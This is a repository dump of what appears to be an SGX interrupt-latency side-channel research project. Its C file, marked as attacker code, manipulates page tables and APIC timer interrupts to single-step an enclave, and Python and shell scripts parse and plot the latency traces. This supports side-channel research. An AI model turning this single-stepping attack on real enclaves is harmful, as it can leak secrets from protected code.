./parse.sh 54 | 55 | $(OUTPUT): $(BUILDDIRS) $(OBJECTS) 56 | echo "$(INDENT)[LD]" $(OBJECTS) $(LIBS) -o $(OUTPUT) 57 | $(LD) $(OBJECTS) $(LDFLAGS) -o $(OUTPUT) 58 | 59 | %.o : %.c 60 | echo "$(INDENT)[CC] " $< 61 | $(CC) $(CFLAGS) $(INCLUDE) -c $< 62 | 63 | %.o : %.S 64 | echo "$(INDENT)[AS] " $< 65 | $(AS) $(INCLUDE) -c $< -o $@ 66 | 67 | clean: $(CLEANDIRS) 68 | echo "$(INDENT)[RM]" $(OBJECTS) $(OUTPUT) 69 | rm -f $(OBJECTS) $(OUTPUT) latency_trace.txt latency_*.txt trace*.pdf hist*.pdf out.txt 70 | 71 | $(BUILDDIRS): 72 | echo "$(INDENT)[===] $(@:build-%=%) [===]" 73 | $(MAKE) -C $(@:build-%=%) INDENT+="$(INDENT_STEP)" curr-dir=$(curr-dir)/$(@:build-%=%) 74 | 75 | $(CLEANDIRS): 76 | echo "$(INDENT)[===] $(@:clean-%=%) [===]" 77 | $(MAKE) clean -C $(@:clean-%=%) INDENT+="$(INDENT_STEP)" curr-dir=$(curr-dir)/$(@:build-%=%) 78 | -------------------------------------------------------------------------------- /sgx/data/bsearch_100_left_right_eq/boxplot.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/bsearch_100_left_right_eq/boxplot.pdf -------------------------------------------------------------------------------- /sgx/data/bsearch_100_left_right_eq/encl.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/bsearch_100_left_right_eq/encl.so -------------------------------------------------------------------------------- /sgx/data/bsearch_100_left_right_eq/trace.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/bsearch_100_left_right_eq/trace.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/cache.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/cache.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/div.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/div.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/div/div-comparison.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/div/div-comparison.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/div/div-rax-min.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/div/div-rax-min.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/div/div-rdx-cmp.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/div/div-rdx-cmp.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/div/div-rdx-half.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/div/div-rdx-half.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/div/div-rdx-max.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/div/div-rdx-max.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/div/div-rdx-min.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/div/div-rdx-min.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/encl-load-store-movnti-fine.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/encl-load-store-movnti-fine.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/encl-load-store-movnti-line.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/encl-load-store-movnti-line.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/encl-load-store-movnti.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/encl-load-store-movnti.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/inst.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/inst.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/lfence.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/lfence.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/load-encl.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/load-encl.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/load-enclave-clflush.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/load-enclave-clflush.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/load-pte-code-data-flush.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/load-pte-code-data-flush.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/load-pte-data-flush.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/load-pte-data-flush.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/load-store-encl.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/load-store-encl.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/load-store-movnti-flush.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/load-store-movnti-flush.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/movnti-encl.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/movnti-encl.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/nop-add-fscale-rdrand.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/nop-add-fscale-rdrand.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/nop-add.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/nop-add.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/nop-add2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/nop-add2.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/nop-add3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/nop-add3.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/nop-fscale-rdrand.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/nop-fscale-rdrand.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/nop-fscale.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/nop-fscale.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/nop-pte-flush.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/nop-pte-flush.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/nop-rdrand.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/nop-rdrand.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/nop.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/nop.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/pte.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/pte.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/rdrand.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/rdrand.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/store-encl.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/store-encl.pdf -------------------------------------------------------------------------------- /sgx/data/ubench/store-movnti-encl.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/ubench/store-movnti-encl.pdf -------------------------------------------------------------------------------- /sgx/data/zz_100/boxplot.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/zz_100/boxplot.pdf -------------------------------------------------------------------------------- /sgx/data/zz_100/encl.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/zz_100/encl.so -------------------------------------------------------------------------------- /sgx/data/zz_100/zz_trace_100.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sgx/data/zz_100/zz_trace_100.pdf -------------------------------------------------------------------------------- /sgx/libnemesis.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import re 4 | import sys 5 | from collections import defaultdict, OrderedDict 6 | 7 | import statistics as stat 8 | import pandas as pd, numpy as np 9 | import matplotlib.pyplot as plt 10 | import matplotlib.font_manager as font_manager 11 | 12 | LATENCY_MIN = 7700 13 | LATENCY_MAX = 8500 14 | 15 | def dump_latency_avg_trace(latencies, out_file='latency_trace_mean.txt'): 16 | with open(out_file, 'w') as fo: 17 | for l in latencies: 18 | fo.write(str(stat.median(l)) + '\n') 19 | 20 | def dump_latency(latencies, idx, out_file='latency_bench.txt'): 21 | with open(out_file, 'w') as fo: 22 | for l in latencies[idx]: 23 | fo.write(l + '\n') 24 | 25 | def plot_latency_avg_trace(latencies, rips, start, end, marker_idx=[]): 26 | avg_trace = [ stat.median(l) for l in latencies[start:end] ] 27 | fig = plt.figure(figsize=(10,4)) 28 | ax = plt.gca() 29 | 30 | for i,l in enumerate(avg_trace): 31 | print(i, hex(rips[start+i]), l) 32 | if start+i in marker_idx: 33 | print("^^ cmp") 34 | 35 | for i in marker_idx: 36 | x = i-start 37 | y = avg_trace[x] 38 | ax.annotate('cmp', xy=(x,y), xytext=(x,y-15), 39 | arrowprops=dict(facecolor='black', width=1, headwidth=9, shrink=0.05), 40 | ) 41 | 42 | #ax.set_ylim([LATENCY_MIN,LATENCY_MAX]) 43 | 44 | font = font_manager.FontProperties(family='monospace', size=12) #weight='bold', style='normal') 45 | 46 | plt.xlabel('Instruction (interrupt number)') 47 | plt.ylabel('IRQ latency (cycles)') 48 | 49 | plt.plot(avg_trace, '-bo') 50 | plt.savefig('trace.pdf', bbox_inches='tight') 51 | plt.show() 52 | 53 | 54 | def boxplot(latencies): 55 | d = OrderedDict() 56 | fig = plt.figure(figsize=(10,4)) 57 | 58 | for i, (a, b, c, (la,lb,lc)) in enumerate(latencies): 59 | d[la + '-a-{}'.format(i)] = a 60 | d[lb + '-b-{}'.format(i)] = b 61 | d[lc + '-c-{}'.format(i)] = c 62 | 63 | df = pd.DataFrame(data=d, columns=d.keys()) 64 | df = df.clip_upper(LATENCY_MAX-300) 65 | df = df.clip_lower(LATENCY_MIN) 66 | #print(df) 67 | bp = plt.boxplot(x=df.T.values.tolist(), labels=d.keys(), patch_artist=True) 68 | 69 | colors = ['lightblue', 'lightgreen', 'pink'] 70 | for i, patch in enumerate(bp['boxes']): 71 | patch.set_facecolor(colors[i % 3]) #2]) 72 | 73 | plt.xticks(rotation=70) 74 | plt.savefig('boxplot.pdf', bbox_inches='tight') 75 | plt.show() 76 | 77 | def boxplot2(latencies): 78 | d = OrderedDict() 79 | fig = plt.figure(figsize=(10,4)) 80 | 81 | for i, (a, b, (la,lb)) in enumerate(latencies): 82 | d[la + '-a-{}'.format(i)] = a 83 | d[lb + '-b-{}'.format(i)] = b 84 | 85 | df = pd.DataFrame(data=d, columns=d.keys()) 86 | df = df.clip_upper(LATENCY_MAX-300) 87 | df = df.clip_lower(LATENCY_MIN) 88 | #print(df) 89 | bp = plt.boxplot(x=df.T.values.tolist(), labels=d.keys(), patch_artist=True) 90 | 91 | colors = ['lightblue', 'lightgreen', 'pink'] 92 | for i, patch in enumerate(bp['boxes']): 93 | patch.set_facecolor(colors[i % 3]) #2]) 94 | 95 | plt.xticks(rotation=70) 96 | plt.savefig('boxplot.pdf', bbox_inches='tight') 97 | plt.show() 98 | 99 | def hist(latencies, labels=[], filename='hist', legend_loc='best', legend_ncol=1): 100 | plt.figure(figsize=(10,5)) 101 | plt.hist(latencies, label=labels, bins=200, histtype='step', range=[LATENCY_MIN, LATENCY_MAX]) 102 | axes = plt.gca() 103 | axes.set_ylim([0,800]) 104 | 105 | font = font_manager.FontProperties(family='monospace', size=12) #weight='bold', style='normal') 106 | if len(labels) > 0: 107 | plt.legend(prop=font, loc=legend_loc, ncol=legend_ncol) 108 | 109 | plt.xlabel('IRQ latency (cycles)') 110 | plt.ylabel('Frequency') 111 | 112 | plt.savefig(filename + '.pdf', bbox_inches='tight') 113 | plt.show() 114 | 115 | def parse_latencies(in_file='out.txt'): 116 | ecall = step = rip = rip_prev = irq_tot = irq_zero = 0 117 | # NOTE: we abuse that Python 3.6 preserves dict order.. 118 | # https://stackoverflow.com/a/39537308 119 | latencies = defaultdict(list) 120 | rips = defaultdict(list) 121 | 122 | with open(in_file, 'r') as fi: 123 | for line in fi: 124 | 125 | # single-stepping mode entered by #PF handler 126 | if re.search('Restoring enclave page', line): 127 | ecall += 1 128 | step = rip_prev = 0 129 | continue 130 | 131 | # latency + edbgrd rip dumped by IRQ handler 132 | #m = re.search('RIP=0x([0-9A-Fa-f]+); ACCESSED=([0-9]); latency=([0-9]+)', line) 133 | m = re.search('RIP=0x([0-9A-Fa-f]+); latency=([0-9]+)', line) 134 | if m: 135 | rip = int(m.groups()[0], base=16) 136 | #a = int(m.groups()[1]) 137 | l = int(m.groups()[1]) 138 | 139 | #if (not a): 140 | # print('libnemesis.py: INFO: ignoring zero-step with PTE A bit set result @{} (ecall={}, step={})'.format(hex(rip), ecall, step-1)) 141 | # continue 142 | 143 | if (rip != rip_prev): 144 | latencies[step].append(l) 145 | rips[step] = rip 146 | step += 1 147 | else: 148 | latencies[step-1].pop() 149 | latencies[step-1].append(l) 150 | print('libnemesis.py: WARNING: discarding zero-step result @{} (ecall={}, step={})'.format(hex(rip), ecall, step-1)) 151 | irq_zero += 1 152 | 153 | rip_prev = rip 154 | irq_tot += 1 155 | 156 | print('libnemesis.py: parsed {} ecalls with total {} IRQs ({} zero-step)'.format(ecall, irq_tot, irq_zero)) 157 | return (list(latencies.values()), list(rips.values())) 158 | 159 | #print(parse_latencies('test.txt')) 160 | -------------------------------------------------------------------------------- /sgx/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the SGX-Step enclave execution control framework. 3 | * 4 | * Copyright (C) 2017 Jo Van Bulck , 5 | * Raoul Strackx 6 | * 7 | * SGX-Step is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * SGX-Step is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with SGX-Step. If not, see . 19 | */ 20 | 21 | #include 22 | #include "Enclave/encl_u.h" 23 | #include 24 | #include 25 | #include "libsgxstep/apic.h" 26 | #include "libsgxstep/cpu.h" 27 | #include "libsgxstep/pt.h" 28 | #include "libsgxstep/sched.h" 29 | #include "libsgxstep/enclave.h" 30 | #include "libsgxstep/debug.h" 31 | #include "libsgxstep/idt.h" 32 | #include "libsgxstep/spy.h" 33 | #include "libsgxstep/config.h" 34 | 35 | #ifndef NUM_BENCH 36 | #define NUM_BENCH 1 37 | #endif 38 | 39 | #define EDBGRD_RIP 0 40 | #define SPAWN_SPY 0 41 | 42 | #define MICROBENCH 1 43 | #define BSEARCH 2 44 | #define ZIGZAGGER 3 45 | #ifndef ATTACK_SCENARIO 46 | #define ATTACK_SCENARIO MICROBENCH 47 | #endif 48 | 49 | sgx_enclave_id_t eid = 0; 50 | int irq_cnt = 0; 51 | int fault_cnt = 0; 52 | uint64_t *pmd_encl = NULL; 53 | uint64_t *pte_step = NULL; 54 | uint64_t *pte_bench = NULL; 55 | uint64_t *pmd_step = NULL; 56 | uint64_t *pte_trigger = NULL; 57 | uint64_t erip_prev = 0x0; 58 | 59 | 60 | uint64_t __attribute__((aligned(0x1000))) dummy = 0; 61 | 62 | /* ================== ATTACKER IRQ/FAULT HANDLERS ================= */ 63 | 64 | /* Called before resuming the enclave after an Asynchronous Enclave eXit. */ 65 | void aep_cb_func(void) 66 | { 67 | #if EDBGRD_RIP 68 | uint64_t erip = edbgrd_erip() - (uint64_t) get_enclave_base(); 69 | info("^^ enclave RIP=%#llx; ACCESSED=%d; latency=%d", 70 | erip_prev, ACCESSED(*pmd_step), nemesis_tsc_aex - nemesis_tsc_eresume); 71 | /* 72 | * NOTE: the stored SSA.rip is the instruction that will be executed upon 73 | * ERESUME (i.e., _not_ the one we just measured) 74 | */ 75 | erip_prev = erip; 76 | irq_cnt++; 77 | #else 78 | if (ACCESSED(*pmd_step)) 79 | { 80 | info("^^ enclave RIP=%#llx; ACCESSED=%d; latency=%d", 81 | 0xff, 0x1, nemesis_tsc_aex - nemesis_tsc_eresume); 82 | irq_cnt++; 83 | } 84 | else 85 | info("WARNING: ignoring zero-step"); 86 | #endif 87 | 88 | /* 89 | * NOTE: We explicitly clear the "accessed" bit of the _unprotected_ PTE 90 | * referencing the enclave code page about to be executed, so as to be able 91 | * to filter out "zero-step" results that won't set the accessed bit. 92 | */ 93 | *pmd_step = MARK_NOT_ACCESSED( *pmd_step ); 94 | 95 | //clflush(pte_step); 96 | //clflush(pte_bench); 97 | 98 | /* 99 | * Configure APIC timer interval for next interrupt. 100 | * 101 | * On our evaluation platforms, we explicitly clear the enclave's 102 | * _unprotected_ PMD "accessed" bit below, so as to slightly slow down 103 | * ERESUME such that the interrupt reliably arrives in the first subsequent 104 | * enclave instruction. 105 | * 106 | */ 107 | *pmd_encl = MARK_NOT_ACCESSED( *pmd_encl ); 108 | //clflush(&dummy); 109 | if (!ACCESSED(*pte_trigger)) 110 | { 111 | /* XXX 112 | * active HyperThreading spy increases zero-step fraction (?) 113 | * EDBGRD ioctl call seems to decrease zero-stepping 114 | */ 115 | apic_timer_irq( SGX_STEP_TIMER_INTERVAL + SPAWN_SPY); 116 | } 117 | } 118 | 119 | /* Called upon SIGSEGV caused by untrusted page tables. */ 120 | void fault_handler(int signal) 121 | { 122 | info("Caught fault %d! Restoring enclave page permissions..", signal); 123 | *pte_step = MARK_NOT_EXECUTE_DISABLE(*pte_step); 124 | *pte_trigger = MARK_NOT_ACCESSED(*pte_trigger); 125 | *pmd_step = MARK_NOT_ACCESSED(*pmd_step); 126 | 127 | ASSERT(fault_cnt++ < NUM_BENCH+10); 128 | 129 | 130 | // NOTE: return eventually continues at aep_cb_func and initiates 131 | // single-stepping mode. 132 | } 133 | 134 | int irq_count = 0; 135 | 136 | /* ================== ATTACKER INIT/SETUP ================= */ 137 | 138 | volatile int spy_start = 0, spy_stop = 0; 139 | 140 | void run_spy(int eid) 141 | { 142 | info("hi from spy!"); 143 | print_system_settings(); 144 | spy_start = 1; 145 | while(!spy_stop); 146 | } 147 | 148 | /* Configure and check attacker untrusted runtime environment. */ 149 | void attacker_config_runtime(void) 150 | { 151 | idt_t idt = {0}; 152 | 153 | ASSERT( !prepare_system_for_benchmark(PSTATE_PCT) ); 154 | ASSERT( !claim_cpu(VICTIM_CPU) ); 155 | 156 | #if SPAWN_SPY 157 | spawn_spy(SPY_CPU, run_spy, 0); 158 | while(!spy_start); 159 | #endif 160 | 161 | ASSERT(signal(SIGSEGV, fault_handler) != SIG_ERR); 162 | print_system_settings(); 163 | 164 | if (isatty(fileno(stdout))) 165 | { 166 | info("WARNING: interactive terminal detected; known to cause "); 167 | info("unstable timer intervals! Use stdout file redirection for "); 168 | info("precise single-stepping results..."); 169 | } 170 | 171 | register_aep_cb(aep_cb_func); 172 | register_enclave_info(); 173 | print_enclave_info(); 174 | 175 | info("Establishing user space IDT mapping"); 176 | map_idt(&idt); 177 | install_user_irq_handler(&idt, NULL, IRQ_VECTOR); 178 | } 179 | 180 | void single_step_enable(void) 181 | { 182 | #if SINGLE_STEP_ENABLE 183 | *pte_step = MARK_EXECUTE_DISABLE(*pte_step); 184 | #endif 185 | *pte_trigger = MARK_NOT_ACCESSED(*pte_trigger); 186 | } 187 | 188 | /* Provoke page fault on enclave entry to initiate single-stepping mode. */ 189 | void attacker_config_page_table(void) 190 | { 191 | void *code_adrs, *bench_adrs; 192 | 193 | #if (ATTACK_SCENARIO == BSEARCH) 194 | SGX_ASSERT( get_bsearch_adrs( eid, &code_adrs) ); 195 | #elif (ATTACK_SCENARIO == ZIGZAGGER) 196 | SGX_ASSERT( get_zz_adrs( eid, &code_adrs) ); 197 | #else 198 | SGX_ASSERT( get_bench_adrs( eid, &code_adrs) ); 199 | #endif 200 | 201 | info("enclave step code adrs at %p\n", code_adrs); 202 | ASSERT( pte_step = remap_page_table_level( code_adrs, PTE) ); 203 | ASSERT( pmd_step = remap_page_table_level( code_adrs, PMD) ); 204 | 205 | 206 | SGX_ASSERT( get_bench_data_adrs( eid, &bench_adrs) ); 207 | ASSERT( pte_bench = remap_page_table_level( bench_adrs, PTE) ); 208 | 209 | SGX_ASSERT( get_trigger_adrs( eid, &code_adrs) ); 210 | info("enclave trigger code adrs at %p\n", code_adrs); 211 | ASSERT( pte_trigger = remap_page_table_level( code_adrs, PTE) ); 212 | 213 | ASSERT( pmd_encl = remap_page_table_level( get_enclave_base(), PMD) ); 214 | } 215 | 216 | /* ================== ATTACKER MAIN ================= */ 217 | 218 | /* Untrusted main function to create/enter the trusted enclave. */ 219 | int main( int argc, char **argv ) 220 | { 221 | sgx_launch_token_t token = {0}; 222 | int apic_fd, encl_strlen = 0, updated = 0; 223 | int i, plain, cipher, rv; 224 | 225 | info_event("Creating enclave..."); 226 | SGX_ASSERT( sgx_create_enclave( "./Enclave/encl.so", /*debug=*/1, 227 | &token, &updated, &eid, NULL ) ); 228 | 229 | 230 | SGX_ASSERT( do_inst_slide(eid, &dummy) ); 231 | /* 232 | * We use an _unprotected_ global variable to easily leak iteration 233 | * numbers to annotate the training data extracted by the driver. 234 | */ 235 | SGX_ASSERT( set_global_var_pt(eid, &dummy) ); 236 | SGX_ASSERT( set_rsa_key(eid, 0x5123) ); 237 | SGX_ASSERT( rsa_encode(eid, &cipher, 65) ); 238 | info("cipher is %d\n", cipher); 239 | 240 | /* 1. Setup attack execution environment. */ 241 | attacker_config_runtime(); 242 | attacker_config_page_table(); 243 | apic_timer_oneshot(IRQ_VECTOR); 244 | 245 | /* 2. Single-step enclaved execution. */ 246 | info_event("calling enclave ATTACK=%d; NUM_BENCH=%d; TIMER=%d", 247 | ATTACK_SCENARIO, NUM_BENCH, SGX_STEP_TIMER_INTERVAL); 248 | 249 | #if (ATTACK_SCENARIO == MICROBENCH) 250 | single_step_enable(); 251 | SGX_ASSERT( do_inst_slide(eid, &dummy) ); 252 | #else 253 | for (i=0; i < NUM_BENCH; i++) 254 | { 255 | single_step_enable(); 256 | #if (ATTACK_SCENARIO == ZIGZAGGER) 257 | SGX_ASSERT( do_zigzagger(eid) ); 258 | #else 259 | SGX_ASSERT( do_bsearch(eid, &rv, 10) ); 260 | info("do_bsearch returned index %d", rv); 261 | #endif 262 | //SGX_ASSERT( rsa_decode(eid, &plain, cipher) ); 263 | } 264 | #endif 265 | 266 | /* 3. Restore normal execution environment. */ 267 | apic_timer_deadline(); 268 | SGX_ASSERT( sgx_destroy_enclave( eid ) ); 269 | info_event("all done; counted %d IRQs", irq_cnt); 270 | 271 | #if SPAWN_SPY 272 | spy_stop = 1; 273 | join_spy(); 274 | #endif 275 | return 0; 276 | } 277 | -------------------------------------------------------------------------------- /sgx/parse.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function run_r() { 4 | R -q -e "x <- read.csv('$1', header = F); summary(x); \ 5 | v <- sd(x[ , 1]); names(v) <- (' Std deviation:'); print(v);" 6 | } 7 | 8 | if [ "$MACRO_BENCH" -eq 1 ]; then 9 | ./parse_zz.py 10 | wc -l latency_zz* 11 | gnuplot -e "infile='latency_zz_trace_avg.txt'" plot_trace.gp 12 | 13 | #run_r latency_zz.txt 14 | #gnuplot -e "infile='latency_zz.txt'" -e "outfile='hist_zz.pdf'" plot_hist.gp 15 | else 16 | ./parse_micro.py 17 | wc -l latency_trace.txt latency_bench.txt 18 | run_r latency_bench.txt 19 | gnuplot plot_hist.gp 20 | gnuplot plot_trace.gp 21 | fi 22 | -------------------------------------------------------------------------------- /sgx/parse_bsearch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import re 4 | import sys 5 | from elftools.elf.elffile import ELFFile 6 | import libnemesis as nem 7 | 8 | IN_FILE = 'data/bsearch_100_left_right_eq/out.txt' 9 | TRACE_FILE = 'latency_trace.txt' 10 | ENCLAVE_FILE = 'data/bsearch_100_left_right_eq/encl.so' 11 | 12 | # objdump from linux-sgx/sdk/tlibc/stdlib/bsearch.c 13 | # 14 | #0000000000008710 : 15 | # 0x0000: 41 57 push %r15 16 | # 0x0002: 41 56 push %r14 17 | # 0x0004: 41 55 push %r13 18 | # 0x0006: 41 54 push %r12 19 | # 0x0008: 55 push %rbp 20 | # 0x0009: 53 push %rbx 21 | # 0x000a: 48 83 ec 18 sub $0x18,%rsp 22 | # 0x000e: 48 85 d2 test %rdx,%rdx 23 | # 0x0011: 48 89 7c 24 08 mov %rdi,0x8(%rsp) 24 | # 0x0016: 74 53 je 877b 25 | # 0x0018: 49 89 f4 mov %rsi,%r12 26 | # 0x001b: 48 89 d3 mov %rdx,%rbx 27 | # 0x001e: 48 89 cd mov %rcx,%rbp 28 | # 0x0021: 4d 89 c5 mov %r8,%r13 29 | # 0x0024: eb 1a jmp 8750 30 | # 0x0026: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 31 | # 0x002d: 00 00 00 32 | # 33 | # base = (char *)p + size; lim--; 34 | # 0x0030: 48 83 eb 01 sub $0x1,%rbx 35 | # 0x0034: 4d 8d 24 2e lea (%r14,%rbp,1),%r12 36 | # 0x0038: 48 d1 eb shr %rbx 37 | # 0x003b: 48 85 db test %rbx,%rbx 38 | # 0x003e: 74 2b je 877b 39 | # 40 | # for (lim = nmemb; lim != 0; lim >>= 1) { 41 | # 0x0040: 49 89 df mov %rbx,%r15 42 | # 0x0043: 48 8b 7c 24 08 mov 0x8(%rsp),%rdi 43 | # 0x0048: 49 d1 ef shr %r15 44 | # 0x004b: 4c 89 fa mov %r15,%rdx 45 | # 0x004e: 48 0f af d5 imul %rbp,%rdx 46 | # 0x0052: 4d 8d 34 14 lea (%r12,%rdx,1),%r14 47 | # 0x0056: 4c 89 f6 mov %r14,%rsi 48 | # 49 | # cmp = (*compar)(key, p); 50 | # 0x0059: 41 ff d5 callq *%r13 51 | # 0x005c: 83 f8 00 cmp $0x0,%eax 52 | # 53 | # if (cmp == 0) 54 | # 0x005f: 74 1f je 8790 55 | # 56 | # if (cmp > 0) { /* key > p: move right */ 57 | # 0x0061: 7f cd jg 8740 